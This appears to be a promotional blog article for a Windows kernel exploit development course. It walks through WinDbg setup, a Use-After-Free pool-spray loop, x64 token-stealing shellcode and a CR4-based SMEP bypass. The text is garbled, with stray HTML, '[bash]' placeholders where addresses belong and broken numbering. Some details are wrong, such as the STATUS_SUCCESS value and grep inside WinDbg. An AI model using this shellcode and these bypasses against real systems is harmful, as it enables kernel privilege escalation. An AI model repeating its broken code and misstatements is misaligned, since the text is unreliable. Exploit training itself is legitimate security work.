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Introduction:
Windows kernel exploitation remains one of the most challenging yet rewarding domains in cybersecurity, where a single memory corruption flaw can lead to full system compromise. The upcoming Windows Exploit Development 2 training (September 12, 2026) delivers a rigorous 40-hour deep dive into WinDbg‑driven analysis, Use‑After‑Free (UAF) vulnerabilities, and kernel shellcode development, targeting professionals who want to move beyond user‑land exploits and master the art of kernel‑driver exploitation.
Learning Objectives:
- Master WinDbg for kernel debugging, memory analysis, and exploit triage on Windows 10/11 and Server environments.
- Understand the internals of Windows memory management and the Use‑After‑Free vulnerability class, including trigger and exploitation steps.
- Develop and debug kernel‑mode shellcode and build functional exploits against real kernel driver vulnerabilities.
You Should Know
1. Setting Up Your Windows Kernel Debugging Environment
A proper dual‑machine setup is mandatory for kernel development and safe exploit testing. You will need a debugger host (Windows, running WinDbg) and a debuggee target (Windows VM, running the vulnerable kernel driver). Below is the step‑by‑step configuration using a serial or network connection.
Step‑by‑step guide:
- Install Windows SDK on the debugger host to obtain WinDbg (or download WinDbg Preview from the Microsoft Store).
- Configure the target VM to enable kernel debugging:
– Open an elevated Command Prompt and run:
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
bcdedit /set {dbgsettings} busparams 0.0.0
– For network debugging (faster on VMs):
bcdedit /dbgsettings net hostip:192.168.xxx.xxx port:50000 key:1.2.3.4 bcdedit /debug on
– Reboot the target.
3. On the debugger host, launch WinDbg as Administrator, go to File → Kernel Debugging, choose “Serial” (or “Net”), enter the COM port/baud rate (or IP and key), and click OK.
4. Break into the kernel by pressing `Ctrl+Break` in WinDbg. You will see a `kd>` prompt. Verify with:
!process 0 0
This lists all running processes on the target. You are now ready to set breakpoints on kernel functions.
Pro tip: Use VirtualBox or VMware and disable “Virtualization Based Security” (VBS) on the target unless you specifically want to bypass HVCI.
2. Mastering WinDbg for Exploit Development
WinDbg is the workhorse of Windows exploitation. The training emphasizes natural, command‑line driven analysis. Below are the essential commands every exploit developer must internalise.
Step‑by‑step guide to memory and crash analysis:
- Attach to a crashing driver – When a kernel crash (BSOD) occurs, the debugger will catch it. Use:
!analyze -v
This provides the bugcheck code, faulting instruction, and call stack.
- Examine the vulnerable pool allocation – For UAF or heap overflows:
!pool [bash] !heap -p -a [bash]
- Dump register context and memory around the crash:
r // show registers db @rip-0x10 L0x20 // dump bytes before/after instruction pointer
- Set breakpoints on arbitrary kernel functions (e.g.,
ExAllocatePoolWithTag):bp nt!ExAllocatePoolWithTag g
Then use `!process 0 0` to switch process context with
.process /p</code>.</li> </ol> <h2 style="color: yellow;">5. View the kernel stack:</h2> [bash] kL kn
6. Inspect page table entries to understand memory permissions:
!pte [virtual address]
These commands turn a cryptic crash into a traceable path from user‑mode input to kernel corruption.
3. Deep Dive into Windows Memory Management
Windows uses a flat virtual address space with sophisticated pool allocation (non‑paged and paged). For exploit developers, understanding pool headers, lookaside lists, and quota management is critical to reliably triggering UAF or pool overflows.
Key concepts and commands:
- Pool tags – Four‑byte identifiers (e.g., `Ntfx` for networking). Use:
!poolused 4 // shows pool usage by tag
- Looking for free objects – After a UAF, the freed chunk may be reallocated with attacker‑controlled data. Use:
!pool [bash] /f // displays pool block and its free list state
- Windows 10/11 mitigations – `!mitigation` shows KASLR, SMEP, SMAP, and CFG status. Bypassing these is a core part of advanced training.
- Manual pool traversal in WinDbg:
dt nt!_POOL_HEADER [bash] dt nt!_OBJECT_HEADER [bash]
Windows command to list loaded kernel drivers (from user mode on target):
sc query type= driver fltmc
4. Understanding Use‑After‑Free (UAF) Vulnerabilities
A UAF occurs when a kernel object is freed but a dangling pointer remains accessible. The training covers how to spot, trigger, and weaponise UAF flaws.
Step‑by‑step exploitation workflow:
- Trigger the bug – Cause the vulnerable driver to allocate an object (e.g., a
_FILE_OBJECT), use it, then free it without nulling the reference. - Cause a second allocation – From user mode, spray the kernel pool with a fake object that overwrites the freed memory. Example spray using `DeviceIoControl` calls:
char buffer[bash]; RtlFillMemory(buffer, sizeof(buffer), 0x41); for (int i = 0; i < 1000; i++) DeviceIoControl(hDriver, IOCTL_SPRAY, buffer, size, NULL, 0, &ret, NULL);
- Force a use of the dangling pointer – Call a function that dereferences the freed object, triggering a crash or redirecting execution.
4. WinDbg commands to verify:
!address [bash] // verify region !chkaddr [bash] // check if address is valid kernel memory
5. Build a fake object – Construct a vtable or function pointer that points to your shellcode.
Modern exploitation requires heap feng shui and pool grooming – the training provides hands‑on labs for Windows 11’s segmented pool.
5. Building Your First Kernel Shellcode
Kernel shellcode runs at ring 0, typically elevating privileges by stealing the SYSTEM token. Here is a minimal token‑stealing stub for x64 Windows.
Step‑by‑step shellcode development:
- Find the current process EPROCESS using `IoGetCurrentProcess` (or directly via the KPCR). Assembly snippet:
mov rcx, gs:[bash] ; Current KTHREAD mov rcx, [rcx+0b8h] ; Current EPROCESS mov rax, rcx ; Start of process list
- Traverse the ActiveProcessLinks until finding PID 4 (System):
search: mov rbx, [rax+0x2e0] ; UniqueProcessId (offset varies by Windows version) cmp rbx, 4 je found mov rax, [rax+0x2e8] ; ActiveProcessLinks.Flink sub rax, 0x2e8 jmp search found: mov rdx, [rax+0x358] ; Token offset in EPROCESS (Windows 10 21H2: 0x358) mov [rcx+0x358], rdx ; Replace current process token
- Return cleanly – Call `mov rax, 0x0C00000000000000` (STATUS_SUCCESS) and
ret. - Assemble and embed in an exploit using tools like `msfvenom` or manual
nasm. Test with WinDbg:
- Set a breakpoint on the shellcode entry point: `bp
` - Step through with `p` and inspect registers: `r` The training covers kernel shellcode for KASLR and SMEP bypass using ROP chains. <h2 style="color: yellow;">6. Exploiting Kernel Drivers – A Complete Walkthrough</h2> You will learn to exploit multiple vulnerability classes, including integer overflows, pool overflows, and UAF. Below is a generic methodology used in the training. <h2 style="color: yellow;">Step‑by‑step guide for a vulnerable IOCTL handler:</h2> <h2 style="color: yellow;">1. Identify the target driver using WinDbg:</h2> [bash] lm m mydriver !drvobj mydriver 0x2
2. Find IOCTL codes – Reverse the driver’s IRP_MJ_DEVICE_CONTROL dispatch with IDA or Ghidra.
3. Trigger the vulnerability – Write a C++ PoC that calls `CreateFile` on the device and sends malformed buffers.
4. Observe crash in WinDbg – When the kernel breaks, run:.exr -1 .cxr !analyze -v | grep -i "fault"
5. Calculate offsets – If a buffer overflow overwrites a return address, find the exact offset:
pattern create 500 pattern offset [bash]
6. Build the exploit – Overwrite a function pointer or return address with shellcode address (or ROP chain).
7. Test with Driver Verifier (on target):
verifier /standard /driver mydriver.sys
This catches many memory corruptions early.
Windows commands to load a test driver:
sc create MyDriver binPath= C:\path\mydriver.sys type= kernel sc start MyDriver
7. Mitigations and Bypass Techniques
Modern Windows kernels implement SMEP (Supervisor Mode Execution Prevention), SMAP, KASLR, and CFG. The training teaches state‑of‑the‑art bypasses.
Step‑by‑step SMEP bypass using ROP:
- Leak kernel base (via a separate info‑leak vulnerability or by reading the KUSER_SHARED_DATA).
- Find a `mov cr4, rcx ; ret` gadget in ntoskrnl.exe using a tool like
rp++. - Clear the SMEP bit (bit 20 of CR4). In shellcode, call:
push rcx mov rcx, cr4 and rcx, ~(1 << 20) mov cr4, rcx pop rcx
4. Execute user‑mode shellcode after disabling SMEP.
5. Restore CR4 before calling `ExAllocatePool` or `KeStackAttachProcess`.
- KASLR bypass – Use the `!pte` command to find non‑randomized addresses, or exploit a pointer leak from the driver.
- CFG mitigation – Target non‑indirect calls or use `SetThreadContext` on a suspended thread.
All techniques are practiced in a safe lab environment provided by Blackstorm Security.
What Undercode Say
- WinDbg proficiency is non‑negotiable – The training’s reliance on WinDbg (not GUI tools) forces deep understanding of memory layout and kernel internals, a skill that separates script kiddies from real researchers.
- Kernel UAF is alive and well – Despite mitigations, Use‑After‑Free remains a top bug class in drivers (see annual Pwn2Own results). Learning systematic exploitation on Windows 11 prepares you for both defense and Red Team work.
- From training to real world – The 40‑hour format covers both theory (Windows memory management, driver models) and hands‑on exploit writing, including kernel shellcode and bypasses. This mirrors OSCE, Sektor7, or HEAVY‑KERNEL certifications.
Analysis: Blackstorm Security’s approach – starting with Windows Exploit Development 1 fundamentals and progressing to kernel‑level UAF, WinDbg internals, and practical kernel shellcode – fills a critical gap. Most courses stop at user‑land buffer overflows; this one tackles driver exploitation, which is the backbone of EDR bypass and persistence. The use of Portuguese and English also indicates an international reach, with the 2026 date suggesting a planned release after current course iterations.
Prediction: By 2026, Windows kernel mitigations will likely include hardware‑enforced shadow stacks (CET) and more granular pool tagging. Consequently, exploit development will shift toward time‑of‑check‑to‑time‑of‑use (TOCTOU) race conditions and hardware‑assisted attacks. Trainings like this will become essential for professionals working on hypervisor‑based security and game anti‑cheat systems. Expect to see more automated kernel fuzzing integrated into the curriculum, as well as practical exercises targeting Arm64 Windows (Surface Pro X, etc.). The future of kernel exploitation is low‑level, cross‑architecture, and heavily reliant on reverse engineering – exactly what WinDbg mastery builds.
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- Pool tags – Four‑byte identifiers (e.g., `Ntfx` for networking). Use:
